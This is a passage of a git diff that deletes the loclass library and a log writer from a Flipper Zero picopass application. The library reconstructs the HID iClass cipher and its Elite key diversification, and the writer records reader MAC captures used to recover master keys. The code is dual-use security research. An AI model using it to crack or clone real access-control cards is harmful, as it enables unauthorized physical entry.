loclass_x_bytes_to_num(uint8_t* src, size_t len); -uint8_t loclass_reversebytes(uint8_t b); -void loclass_reverse_arraybytes(uint8_t* arr, size_t len); -void loclass_reverse_arraycopy(uint8_t* arr, uint8_t* dest, size_t len); -#endif // CIPHERUTILS_H diff --git a/applications/external/picopass/lib/loclass/optimized_elite.c b/applications/external/picopass/lib/loclass/optimized_elite.c deleted file mode 100644 index e198a410b..000000000 --- a/applications/external/picopass/lib/loclass/optimized_elite.c +++ /dev/null @@ -1,232 +0,0 @@ -//----------------------------------------------------------------------------- -// Borrowed initially from https://github.com/holiman/loclass -// Copyright (C) 2014 Martin Holst Swende -// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. -// -// This program is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// This program is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// See LICENSE.txt for the text of the license. -//----------------------------------------------------------------------------- -// WARNING -// -// THIS CODE IS CREATED FOR EXPERIMENTATION AND EDUCATIONAL USE ONLY. -// -// USAGE OF THIS CODE IN OTHER WAYS MAY INFRINGE UPON THE INTELLECTUAL -// PROPERTY OF OTHER PARTIES, SUCH AS INSIDE SECURE AND HID GLOBAL, -// AND MAY EXPOSE YOU TO AN INFRINGEMENT ACTION FROM THOSE PARTIES. -// -// THIS CODE SHOULD NEVER BE USED TO INFRINGE PATENTS OR INTELLECTUAL PROPERTY RIGHTS. -//----------------------------------------------------------------------------- -// It is a reconstruction of the cipher engine used in iClass, and RFID techology. -// -// The implementation is based on the work performed by -// Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and -// Milosch Meriac in the paper "Dismantling IClass". -//----------------------------------------------------------------------------- -#include "optimized_elite.h" - -#include -#include -#include -#include -#include "optimized_ikeys.h" - -/** - * @brief Permutes a key from standard NIST format to Iclass specific format - * from http://www.proxmark.org/forum/viewtopic.php?pid=11220#p11220 - * - * If you loclass_permute [6c 8d 44 f9 2a 2d 01 bf] you get [8a 0d b9 88 bb a7 90 ea] as shown below. - * - * 1 0 1 1 1 1 1 1 bf - * 0 0 0 0 0 0 0 1 01 - * 0 0 1 0 1 1 0 1 2d - * 0 0 1 0 1 0 1 0 2a - * 1 1 1 1 1 0 0 1 f9 - * 0 1 0 0 0 1 0 0 44 - * 1 0 0 0 1 1 0 1 8d - * 0 1 1 0 1 1 0 0 6c - * - * 8 0 b 8 b a 9 e - * a d 9 8 b 7 0 a - * - * @param key - * @param dest - */ -void loclass_permutekey(const uint8_t key[8], uint8_t dest[8]) { - int i; - for(i = 0; i < 8; i++) { - dest[i] = (((key[7] & (0x80 >> i)) >> (7 - i)) << 7) | - (((key[6] & (0x80 >> i)) >> (7 - i)) << 6) | - (((key[5] & (0x80 >> i)) >> (7 - i)) << 5) | - (((key[4] & (0x80 >> i)) >> (7 - i)) << 4) | - (((key[3] & (0x80 >> i)) >> (7 - i)) << 3) | - (((key[2] & (0x80 >> i)) >> (7 - i)) << 2) | - (((key[1] & (0x80 >> i)) >> (7 - i)) << 1) | - (((key[0] & (0x80 >> i)) >> (7 - i)) << 0); - } -} -/** - * Permutes a key from iclass specific format to NIST format - * @brief loclass_permutekey_rev - * @param key - * @param dest - */ -void loclass_permutekey_rev(const uint8_t key[8], uint8_t dest[8]) { - int i; - for(i = 0; i < 8; i++) { - dest[7 - i] = (((key[0] & (0x80 >> i)) >> (7 - i)) << 7) | - (((key[1] & (0x80 >> i)) >> (7 - i)) << 6) | - (((key[2] & (0x80 >> i)) >> (7 - i)) << 5) | - (((key[3] & (0x80 >> i)) >> (7 - i)) << 4) | - (((key[4] & (0x80 >> i)) >> (7 - i)) << 3) | - (((key[5] & (0x80 >> i)) >> (7 - i)) << 2) | - (((key[6] & (0x80 >> i)) >> (7 - i)) << 1) | - (((key[7] & (0x80 >> i)) >> (7 - i)) << 0); - } -} - -/** - * Helper function for loclass_hash1 - * @brief loclass_rr - * @param val - * @return - */ -static uint8_t loclass_rr(uint8_t val) { - return val >> 1 | ((val & 1) << 7); -} - -/** - * Helper function for loclass_hash1 - * @brief rl - * @param val - * @return - */ -static uint8_t loclass_rl(uint8_t val) { - return val << 1 | ((val & 0x80) >> 7); -} - -/** - * Helper function for loclass_hash1 - * @brief loclass_swap - * @param val - * @return - */ -static uint8_t loclass_swap(uint8_t val) { - return ((val >> 4) & 0xFF) | ((val & 0xFF) << 4); -} - -/** - * Hash1 takes CSN as input, and determines what bytes in the keytable will be used - * when constructing the K_sel. - * @param csn the CSN used - * @param k output - */ -void loclass_hash1(const uint8_t csn[], uint8_t k[]) { - k[0] = csn[0] ^ csn[1] ^ csn[2] ^ csn[3] ^ csn[4] ^ csn[5] ^ csn[6] ^ csn[7]; - k[1] = csn[0] + csn[1] + csn[2] + csn[3] + csn[4] + csn[5] + csn[6] + csn[7]; - k[2] = loclass_rr(loclass_swap(csn[2] + k[1])); - k[3] = loclass_rl(loclass_swap(csn[3] + k[0])); - k[4] = ~loclass_rr(csn[4] + k[2]) + 1; - k[5] = ~loclass_rl(csn[5] + k[3]) + 1; - k[6] = loclass_rr(csn[6] + (k[4] ^ 0x3c)); - k[7] = loclass_rl(csn[7] + (k[5] ^ 0xc3)); - - k[7] &= 0x7F; - k[6] &= 0x7F; - k[5] &= 0x7F; - k[4] &= 0x7F; - k[3] &= 0x7F; - k[2] &= 0x7F; - k[1] &= 0x7F; - k[0] &= 0x7F; -} -/** -Definition 14. Define the rotate key function loclass_rk : (F 82 ) 8 × N → (F 82 ) 8 as -loclass_rk(x [0] . . . x [7] , 0) = x [0] . . . x [7] -loclass_rk(x [0] . . . x [7] , n + 1) = loclass_rk(loclass_rl(x [0] ) . . . loclass_rl(x [7] ), n) -**/ -static void loclass_rk(const uint8_t* key, uint8_t n, uint8_t* outp_key) { - memcpy(outp_key, key, 8); - uint8_t j; - while(n-- > 0) { - for(j = 0; j < 8; j++) outp_key[j] = loclass_rl(outp_key[j]); - } - return; -} - -static mbedtls_des_context loclass_ctx_enc; -static mbedtls_des_context loclass_ctx_dec; - -static void loclass_desdecrypt_iclass(uint8_t* iclass_key, uint8_t* input, uint8_t* output) { - uint8_t key_std_format[8] = {0}; - loclass_permutekey_rev(iclass_key, key_std_format); - mbedtls_des_setkey_dec(&loclass_ctx_dec, key_std_format); - mbedtls_des_crypt_ecb(&loclass_ctx_dec, input, output); -} - -static void loclass_desencrypt_iclass(const uint8_t* iclass_key, uint8_t* input, uint8_t* output) { - uint8_t key_std_format[8] = {0}; - loclass_permutekey_rev(iclass_key, key_std_format); - mbedtls_des_setkey_enc(&loclass_ctx_enc, key_std_format); - mbedtls_des_crypt_ecb(&loclass_ctx_enc, input, output); -} - -/** - * @brief Insert uint8_t[8] custom master key to calculate hash2 and return key_select. - * @param key unpermuted custom key - * @param loclass_hash1 loclass_hash1 - * @param key_sel output key_sel=h[loclass_hash1[i]] - */ -void loclass_hash2(const uint8_t* key64, uint8_t* outp_keytable) { - /** - *Expected: - * High Security Key Table - - 00 F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1 - 10 BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21 - 20 14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2 - 30 A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C - 40 78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6 - 50 31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42 - 60 3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95 - 70 43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB - - **** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 ******/ - uint8_t key64_negated[8] = {0}; - uint8_t z[8][8] = {{0}, {0}}; - uint8_t temp_output[8] = {0}; - - //calculate complement of key - int i; - for(i = 0; i < 8; i++) key64_negated[i] = ~key64[i]; - - // Once again, key is on iclass-format - loclass_desencrypt_iclass(key64, key64_negated, z[0]); - - uint8_t y[8][8] = {{0}, {0}}; - - // y[0]=DES_dec(z[0],~key) - // Once again, key is on iclass-format - loclass_desdecrypt_iclass(z[0], key64_negated, y[0]); - - for(i = 1; i < 8; i++) { - loclass_rk(key64, i, temp_output); - loclass_desdecrypt_iclass(temp_output, z[i - 1], z[i]); - loclass_desencrypt_iclass(temp_output, y[i - 1], y[i]); - } - - if(outp_keytable != NULL) { - for(i = 0; i < 8; i++) { - memcpy(outp_keytable + i * 16, y[i], 8); - memcpy(outp_keytable + 8 + i * 16, z[i], 8); - } - } -} diff --git a/applications/external/picopass/lib/loclass/optimized_elite.h b/applications/external/picopass/lib/loclass/optimized_elite.h deleted file mode 100644 index fba512a86..000000000 --- a/applications/external/picopass/lib/loclass/optimized_elite.h +++ /dev/null @@ -1,58 +0,0 @@ -//----------------------------------------------------------------------------- -// Borrowed initially from https://github.com/holiman/loclass -// More recently from https://github.com/RfidResearchGroup/proxmark3 -// Copyright (C) 2014 Martin Holst Swende -// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. -// -// This program is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// This program is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// See LICENSE.txt for the text of the license. -//----------------------------------------------------------------------------- -// WARNING -// -// THIS CODE IS CREATED FOR EXPERIMENTATION AND EDUCATIONAL USE ONLY. -// -// USAGE OF THIS CODE IN OTHER WAYS MAY INFRINGE UPON THE INTELLECTUAL -// PROPERTY OF OTHER PARTIES, SUCH AS INSIDE SECURE AND HID GLOBAL, -// AND MAY EXPOSE YOU TO AN INFRINGEMENT ACTION FROM THOSE PARTIES. -// -// THIS CODE SHOULD NEVER BE USED TO INFRINGE PATENTS OR INTELLECTUAL PROPERTY RIGHTS. -//----------------------------------------------------------------------------- -// It is a reconstruction of the cipher engine used in iClass, and RFID techology. -// -// The implementation is based on the work performed by -// Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and -// Milosch Meriac in the paper "Dismantling IClass". -//----------------------------------------------------------------------------- -#ifndef ELITE_CRACK_H -#define ELITE_CRACK_H - -#include -#include - -void loclass_permutekey(const uint8_t key[8], uint8_t dest[8]); -/** - * Permutes a key from iclass specific format to NIST format - * @brief loclass_permutekey_rev - * @param key - * @param dest - */ -void loclass_permutekey_rev(const uint8_t key[8], uint8_t dest[8]); -/** - * Hash1 takes CSN as input, and determines what bytes in the keytable will be used - * when constructing the K_sel. - * @param csn the CSN used - * @param k output - */ -void loclass_hash1(const uint8_t* csn, uint8_t* k); -void loclass_hash2(const uint8_t* key64, uint8_t* outp_keytable); - -#endif diff --git a/applications/external/picopass/lib/loclass/optimized_ikeys.c b/applications/external/picopass/lib/loclass/optimized_ikeys.c deleted file mode 100644 index 1e6f12c56..000000000 --- a/applications/external/picopass/lib/loclass/optimized_ikeys.c +++ /dev/null @@ -1,320 +0,0 @@ -//----------------------------------------------------------------------------- -// Borrowed initially from https://github.com/holiman/loclass -// Copyright (C) 2014 Martin Holst Swende -// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. -// -// This program is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// This program is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// See LICENSE.txt for the text of the license. -//----------------------------------------------------------------------------- -// WARNING -// -// THIS CODE IS CREATED FOR EXPERIMENTATION AND EDUCATIONAL USE ONLY. -// -// USAGE OF THIS CODE IN OTHER WAYS MAY INFRINGE UPON THE INTELLECTUAL -// PROPERTY OF OTHER PARTIES, SUCH AS INSIDE SECURE AND HID GLOBAL, -// AND MAY EXPOSE YOU TO AN INFRINGEMENT ACTION FROM THOSE PARTIES. -// -// THIS CODE SHOULD NEVER BE USED TO INFRINGE PATENTS OR INTELLECTUAL PROPERTY RIGHTS. -//----------------------------------------------------------------------------- -// It is a reconstruction of the cipher engine used in iClass, and RFID techology. -// -// The implementation is based on the work performed by -// Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and -// Milosch Meriac in the paper "Dismantling IClass". -//----------------------------------------------------------------------------- - -/** -From "Dismantling iclass": - This section describes in detail the built-in key diversification algorithm of iClass. - Besides the obvious purpose of deriving a card key from a master key, this - algorithm intends to circumvent weaknesses in the cipher by preventing the - usage of certain ‘weak’ keys. In order to compute a diversified key, the iClass - reader first encrypts the card identity id with the master key K, using single - DES. The resulting ciphertext is then input to a function called loclass_hash0 which - outputs the diversified key k. - - k = loclass_hash0(DES enc (id, K)) - - Here the DES encryption of id with master key K outputs a cryptogram c - of 64 bits. These 64 bits are divided as c = x, y, z [0] , . . . , z [7] ∈ F 82 × F 82 × (F 62 ) 8 - which is used as input to the loclass_hash0 function. This function introduces some - obfuscation by performing a number of permutations, complement and modulo - operations, see Figure 2.5. Besides that, it checks for and removes patterns like - similar key bytes, which could produce a strong bias in the cipher. Finally, the - output of loclass_hash0 is the diversified card key k = k [0] , . . . , k [7] ∈ (F 82 ) 8 . - -**/ -#include "optimized_ikeys.h" - -#include -#include -#include -#include -#include "optimized_cipherutils.h" - -static const uint8_t loclass_pi[35] = {0x0F, 0x17, 0x1B, 0x1D, 0x1E, 0x27, 0x2B, 0x2D, 0x2E, - 0x33, 0x35, 0x39, 0x36, 0x3A, 0x3C, 0x47, 0x4B, 0x4D, - 0x4E, 0x53, 0x55, 0x56, 0x59, 0x5A, 0x5C, 0x63, 0x65, - 0x66, 0x69, 0x6A, 0x6C, 0x71, 0x72, 0x74, 0x78}; - -/** - * @brief The key diversification algorithm uses 6-bit bytes. - * This implementation uses 64 bit uint to pack seven of them into one - * variable. When they are there, they are placed as follows: - * XXXX XXXX N0 .... N7, occupying the last 48 bits. - * - * This function picks out one from such a collection - * @param all - * @param n bitnumber - * @return - */ -static uint8_t loclass_getSixBitByte(uint64_t c, int n) { - return (c >> (42 - 6 * n)) & 0x3F; -} - -/** - * @brief Puts back a six-bit 'byte' into a uint64_t. - * @param c buffer - * @param z the value to place there - * @param n bitnumber. - */ -static void loclass_pushbackSixBitByte(uint64_t* c, uint8_t z, int n) { - //0x XXXX YYYY ZZZZ ZZZZ ZZZZ - // ^z0 ^z7 - //z0: 1111 1100 0000 0000 - - uint64_t masked = z & 0x3F; - uint64_t eraser = 0x3F; - masked <<= 42 - 6 * n; - eraser <<= 42 - 6 * n; - - //masked <<= 6*n; - //eraser <<= 6*n; - - eraser = ~eraser; - (*c) &= eraser; - (*c) |= masked; -} -/** - * @brief Swaps the z-values. - * If the input value has format XYZ0Z1...Z7, the output will have the format - * XYZ7Z6...Z0 instead - * @param c - * @return - */ -static uint64_t loclass_swapZvalues(uint64_t c) { - uint64_t newz = 0; - loclass_pushbackSixBitByte(&newz, loclass_getSixBitByte(c, 0), 7); - loclass_pushbackSixBitByte(&newz, loclass_getSixBitByte(c, 1), 6); - loclass_pushbackSixBitByte(&newz, loclass_getSixBitByte(c, 2), 5); - loclass_pushbackSixBitByte(&newz, loclass_getSixBitByte(c, 3), 4); - loclass_pushbackSixBitByte(&newz, loclass_getSixBitByte(c, 4), 3); - loclass_pushbackSixBitByte(&newz, loclass_getSixBitByte(c, 5), 2); - loclass_pushbackSixBitByte(&newz, loclass_getSixBitByte(c, 6), 1); - loclass_pushbackSixBitByte(&newz, loclass_getSixBitByte(c, 7), 0); - newz |= (c & 0xFFFF000000000000); - return newz; -} - -/** -* @return 4 six-bit bytes chunked into a uint64_t,as 00..00a0a1a2a3 -*/ -static uint64_t loclass_ck(int i, int j, uint64_t z) { - if(i == 1 && j == -1) { - // loclass_ck(1, −1, z [0] . . . z [3] ) = z [0] . . . z [3] - return z; - } else if(j == -1) { - // loclass_ck(i, −1, z [0] . . . z [3] ) = loclass_ck(i − 1, i − 2, z [0] . . . z [3] ) - return loclass_ck(i - 1, i - 2, z); - } - - if(loclass_getSixBitByte(z, i) == loclass_getSixBitByte(z, j)) { - //loclass_ck(i, j − 1, z [0] . . . z [i] ← j . . . z [3] ) - uint64_t newz = 0; - int c; - for(c = 0; c < 4; c++) { - uint8_t val = loclass_getSixBitByte(z, c); - if(c == i) - loclass_pushbackSixBitByte(&newz, j, c); - else - loclass_pushbackSixBitByte(&newz, val, c); - } - return loclass_ck(i, j - 1, newz); - } else { - return loclass_ck(i, j - 1, z); - } -} -/** - - Definition 8. - Let the function check : (F 62 ) 8 → (F 62 ) 8 be defined as - check(z [0] . . . z [7] ) = loclass_ck(3, 2, z [0] . . . z [3] ) · loclass_ck(3, 2, z [4] . . . z [7] ) - - where loclass_ck : N × N × (F 62 ) 4 → (F 62 ) 4 is defined as - - loclass_ck(1, −1, z [0] . . . z [3] ) = z [0] . . . z [3] - loclass_ck(i, −1, z [0] . . . z [3] ) = loclass_ck(i − 1, i − 2, z [0] . . . z [3] ) - loclass_ck(i, j, z [0] . . . z [3] ) = - loclass_ck(i, j − 1, z [0] . . . z [i] ← j . . . z [3] ), if z [i] = z [j] ; - loclass_ck(i, j − 1, z [0] . . . z [3] ), otherwise - - otherwise. -**/ - -static uint64_t loclass_check(uint64_t z) { - //These 64 bits are divided as c = x, y, z [0] , . . . , z [7] - - // loclass_ck(3, 2, z [0] . . . z [3] ) - uint64_t ck1 = loclass_ck(3, 2, z); - - // loclass_ck(3, 2, z [4] . . . z [7] ) - uint64_t ck2 = loclass_ck(3, 2, z << 24); - - //The loclass_ck function will place the values - // in the middle of z. - ck1 &= 0x00000000FFFFFF000000; - ck2 &= 0x00000000FFFFFF000000; - - return ck1 | ck2 >> 24; -} - -static void loclass_permute( - LoclassBitstreamIn_t* p_in, - uint64_t z, - int l, - int r, - LoclassBitstreamOut_t* out) { - if(loclass_bitsLeft(p_in) == 0) return; - - bool pn = loclass_tailBit(p_in); - if(pn) { // pn = 1 - uint8_t zl = loclass_getSixBitByte(z, l); - - loclass_push6bits(out, zl + 1); - loclass_permute(p_in, z, l + 1, r, out); - } else { // otherwise - uint8_t zr = loclass_getSixBitByte(z, r); - - loclass_push6bits(out, zr); - loclass_permute(p_in, z, l, r + 1, out); - } -} - -/** - * @brief - *Definition 11. Let the function loclass_hash0 : F 82 × F 82 × (F 62 ) 8 → (F 82 ) 8 be defined as - * loclass_hash0(x, y, z [0] . . . z [7] ) = k [0] . . . k [7] where - * z'[i] = (z[i] mod (63-i)) + i i = 0...3 - * z'[i+4] = (z[i+4] mod (64-i)) + i i = 0...3 - * ẑ = check(z'); - * @param c - * @param k this is where the diversified key is put (should be 8 bytes) - * @return - */ -void loclass_hash0(uint64_t c, uint8_t k[8]) { - c = loclass_swapZvalues(c); - - //These 64 bits are divided as c = x, y, z [0] , . . . , z [7] - // x = 8 bits - // y = 8 bits - // z0-z7 6 bits each : 48 bits - uint8_t x = (c & 0xFF00000000000000) >> 56; - uint8_t y = (c & 0x00FF000000000000) >> 48; - uint64_t zP = 0; - - for(int n = 0; n < 4; n++) { - uint8_t zn = loclass_getSixBitByte(c, n); - uint8_t zn4 = loclass_getSixBitByte(c, n + 4); - uint8_t _zn = (zn % (63 - n)) + n; - uint8_t _zn4 = (zn4 % (64 - n)) + n; - loclass_pushbackSixBitByte(&zP, _zn, n); - loclass_pushbackSixBitByte(&zP, _zn4, n + 4); - } - - uint64_t zCaret = loclass_check(zP); - uint8_t p = loclass_pi[x % 35]; - - if(x & 1) //Check if x7 is 1 - p = ~p; - - LoclassBitstreamIn_t p_in = {&p, 8, 0}; - uint8_t outbuffer[] = {0, 0, 0, 0, 0, 0, 0, 0}; - LoclassBitstreamOut_t out = {outbuffer, 0, 0}; - loclass_permute(&p_in, zCaret, 0, 4, &out); //returns 48 bits? or 6 8-bytes - - //Out is now a buffer containing six-bit bytes, should be 48 bits - // if all went well - //Shift z-values down onto the lower segment - - uint64_t zTilde = loclass_x_bytes_to_num(outbuffer, sizeof(outbuffer)); - - zTilde >>= 16; - - for(int i = 0; i < 8; i++) { - // the key on index i is first a bit from y - // then six bits from z, - // then a bit from p - - // Init with zeroes - k[i] = 0; - // First, place yi leftmost in k - //k[i] |= (y << i) & 0x80 ; - - // First, place y(7-i) leftmost in k - k[i] |= (y << (7 - i)) & 0x80; - - uint8_t zTilde_i = loclass_getSixBitByte(zTilde, i); - // zTildeI is now on the form 00XXXXXX - // with one leftshift, it'll be - // 0XXXXXX0 - // So after leftshift, we can OR it into k - // However, when doing complement, we need to - // again MASK 0XXXXXX0 (0x7E) - zTilde_i <<= 1; - - //Finally, add bit from p or p-mod - //Shift bit i into rightmost location (mask only after complement) - uint8_t p_i = p >> i & 0x1; - - if(k[i]) { // yi = 1 - k[i] |= ~zTilde_i & 0x7E; - k[i] |= p_i & 1; - k[i] += 1; - - } else { // otherwise - k[i] |= zTilde_i & 0x7E; - k[i] |= (~p_i) & 1; - } - } -} -/** - * @brief Performs Elite-class key diversification - * @param csn - * @param key - * @param div_key - */ -void loclass_diversifyKey(uint8_t* csn, const uint8_t* key, uint8_t* div_key) { - mbedtls_des_context loclass_ctx_enc; - - // Prepare the DES key - mbedtls_des_setkey_enc(&loclass_ctx_enc, key); - - uint8_t crypted_csn[8] = {0}; - - // Calculate DES(CSN, KEY) - mbedtls_des_crypt_ecb(&loclass_ctx_enc, csn, crypted_csn); - - //Calculate HASH0(DES)) - uint64_t c_csn = loclass_x_bytes_to_num(crypted_csn, sizeof(crypted_csn)); - - loclass_hash0(c_csn, div_key); -} diff --git a/applications/external/picopass/lib/loclass/optimized_ikeys.h b/applications/external/picopass/lib/loclass/optimized_ikeys.h deleted file mode 100644 index f2711d31e..000000000 --- a/applications/external/picopass/lib/loclass/optimized_ikeys.h +++ /dev/null @@ -1,66 +0,0 @@ -//----------------------------------------------------------------------------- -// Borrowed initially from https://github.com/holiman/loclass -// More recently from https://github.com/RfidResearchGroup/proxmark3 -// Copyright (C) 2014 Martin Holst Swende -// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. -// -// This program is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// This program is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// See LICENSE.txt for the text of the license. -//----------------------------------------------------------------------------- -// WARNING -// -// THIS CODE IS CREATED FOR EXPERIMENTATION AND EDUCATIONAL USE ONLY. -// -// USAGE OF THIS CODE IN OTHER WAYS MAY INFRINGE UPON THE INTELLECTUAL -// PROPERTY OF OTHER PARTIES, SUCH AS INSIDE SECURE AND HID GLOBAL, -// AND MAY EXPOSE YOU TO AN INFRINGEMENT ACTION FROM THOSE PARTIES. -// -// THIS CODE SHOULD NEVER BE USED TO INFRINGE PATENTS OR INTELLECTUAL PROPERTY RIGHTS. -//----------------------------------------------------------------------------- -// It is a reconstruction of the cipher engine used in iClass, and RFID techology. -// -// The implementation is based on the work performed by -// Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and -// Milosch Meriac in the paper "Dismantling IClass". -//----------------------------------------------------------------------------- -#ifndef IKEYS_H -#define IKEYS_H - -#include - -/** - * @brief - *Definition 11. Let the function loclass_hash0 : F 82 × F 82 × (F 62 ) 8 → (F 82 ) 8 be defined as - * loclass_hash0(x, y, z [0] . . . z [7] ) = k [0] . . . k [7] where - * z'[i] = (z[i] mod (63-i)) + i i = 0...3 - * z'[i+4] = (z[i+4] mod (64-i)) + i i = 0...3 - * ẑ = check(z'); - * @param c - * @param k this is where the diversified key is put (should be 8 bytes) - * @return - */ -void loclass_hash0(uint64_t c, uint8_t k[8]); -/** - * @brief Performs Elite-class key diversification - * @param csn - * @param key - * @param div_key - */ - -void loclass_diversifyKey(uint8_t* csn, const uint8_t* key, uint8_t* div_key); -/** - * @brief Permutes a key from standard NIST format to Iclass specific format - * @param key - * @param dest - */ - -#endif // IKEYS_H diff --git a/applications/external/picopass/loclass_writer.c b/applications/external/picopass/loclass_writer.c deleted file mode 100644 index 273fa67eb..000000000 --- a/applications/external/picopass/loclass_writer.c +++ /dev/null @@ -1,100 +0,0 @@ -#include "loclass_writer.h" - -#include -#include -#include -#include -#include - -struct LoclassWriter { - Stream* file_stream; -}; - -#define LOCLASS_LOGS_PATH EXT_PATH("apps_data/picopass/.loclass.log") - -LoclassWriter* loclass_writer_alloc() { - LoclassWriter* instance = malloc(sizeof(LoclassWriter)); - Storage* storage = furi_record_open(RECORD_STORAGE); - instance->file_stream = buffered_file_stream_alloc(storage); - if(!buffered_file_stream_open( - instance->file_stream, LOCLASS_LOGS_PATH, FSAM_WRITE, FSOM_OPEN_APPEND)) { - buffered_file_stream_close(instance->file_stream); - stream_free(instance->file_stream); - free(instance); - instance = NULL; - } - - furi_record_close(RECORD_STORAGE); - - return instance; -} - -void loclass_writer_free(LoclassWriter* instance) { - furi_assert(instance != NULL); - - buffered_file_stream_close(instance->file_stream); - stream_free(instance->file_stream); - free(instance); -} - -bool loclass_writer_write_start_stop(LoclassWriter* instance, bool start) { - FuriHalRtcDateTime curr_dt; - furi_hal_rtc_get_datetime(&curr_dt); - uint32_t curr_ts = furi_hal_rtc_datetime_to_timestamp(&curr_dt); - - FuriString* str = furi_string_alloc_printf( - "loclass-v1-info ts %lu %s\n", curr_ts, start ? "started" : "finished"); - bool write_success = stream_write_string(instance->file_stream, str); - furi_string_free(str); - return write_success; -} - -bool loclass_writer_write_params( - LoclassWriter* instance, - uint8_t log_no, - const uint8_t csn[8], - const uint8_t epurse[8], - const uint8_t nr[4], - const uint8_t mac[4]) { - furi_assert(instance != NULL); - - FuriHalRtcDateTime curr_dt; - furi_hal_rtc_get_datetime(&curr_dt); - uint32_t curr_ts = furi_hal_rtc_datetime_to_timestamp(&curr_dt); - - FuriString* str = furi_string_alloc_printf( - "loclass-v1-mac ts %lu no %u " - "csn %02x%02x%02x%02x%02x%02x%02x%02x " - "cc %02x%02x%02x%02x%02x%02x%02x%02x " - "nr %02x%02x%02x%02x " - "mac %02x%02x%02x%02x\n", - curr_ts, - log_no, - csn[0], - csn[1], - csn[2], - csn[3], - csn[4], - csn[5], - csn[6], - csn[7], - epurse[0], - epurse[1], - epurse[2], - epurse[3], - epurse[4], - epurse[5], - epurse[6], - epurse[7], - nr[0], - nr[1], - nr[2], - nr[3], - mac[0], - mac[1], - mac[2], - mac[3]); - bool write_success = stream_write_string(instance->file_stream, str); - furi_string_free(str); - return write_success; -} \ No newline at end of file diff --git a/applications/external/picopass/loclass_writer.h b/applications/external/picopass/loclass_writer.h deleted file mode 100644 index dd7a4560c..000000000 --- a/applications/external/picopass/loclass_writer.h +++ /dev/null @@ -1,20 +0,0 @@ -#pragma once - -#include -#include - -typedef struct LoclassWriter LoclassWriter; - -LoclassWriter* loclass_writer_alloc(); - -void loclass_writer_free(LoclassWriter* instance); - -bool loclass_writer_write_start_stop(LoclassWriter* instance, bool start); - -bool loclass_writer_write_params( - LoclassWriter* instance, - uint8_t log_no, - const uint8_t csn[8], - const uint8_t epurse[8], - const uint8_t nr[4], - const uint8_t mac[4]); diff --git a/applications/external/picopass/picopass.c b/applications/external/picopass/picopass.c deleted file mode 100644 index 13f6ae5fb..000000000 --- a/applications/external/picopass/picopass.c +++ /dev/null @@ -1,241 +0,0 @@ -#include "picopass_i.h" - -#define TAG "PicoPass" - -bool picopass_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - Picopass* picopass = context; - return scene_manager_handle_custom_event(picopass->scene_manager, event); -} - -bool picopass_back_event_callback(void* context) { - furi_assert(context); - Picopass* picopass = context; - return scene_manager_handle_back_event(picopass->scene_manager); -} - -void picopass_tick_event_callback(void* context) { - furi_assert(context); - Picopass* picopass = context; - scene_manager_handle_tick_event(picopass->scene_manager); -} - -Picopass* picopass_alloc() { - Picopass* picopass = malloc(sizeof(Picopass)); - - picopass->worker = picopass_worker_alloc(); - picopass->view_dispatcher = view_dispatcher_alloc(); - picopass->scene_manager = scene_manager_alloc(&picopass_scene_handlers, picopass); - view_dispatcher_enable_queue(picopass->view_dispatcher); - view_dispatcher_set_event_callback_context(picopass->view_dispatcher, picopass); - view_dispatcher_set_custom_event_callback( - picopass->view_dispatcher, picopass_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - picopass->view_dispatcher, picopass_back_event_callback); - view_dispatcher_set_tick_event_callback( - picopass->view_dispatcher, picopass_tick_event_callback, 100); - - // Picopass device - picopass->dev = picopass_device_alloc(); - - // Open GUI record - picopass->gui = furi_record_open(RECORD_GUI); - view_dispatcher_attach_to_gui( - picopass->view_dispatcher, picopass->gui, ViewDispatcherTypeFullscreen); - - // Open Notification record - picopass->notifications = furi_record_open(RECORD_NOTIFICATION); - - // Submenu - picopass->submenu = submenu_alloc(); - view_dispatcher_add_view( - picopass->view_dispatcher, PicopassViewMenu, submenu_get_view(picopass->submenu)); - - // Popup - picopass->popup = popup_alloc(); - view_dispatcher_add_view( - picopass->view_dispatcher, PicopassViewPopup, popup_get_view(picopass->popup)); - - // Loading - picopass->loading = loading_alloc(); - view_dispatcher_add_view( - picopass->view_dispatcher, PicopassViewLoading, loading_get_view(picopass->loading)); - - // Text Input - picopass->text_input = 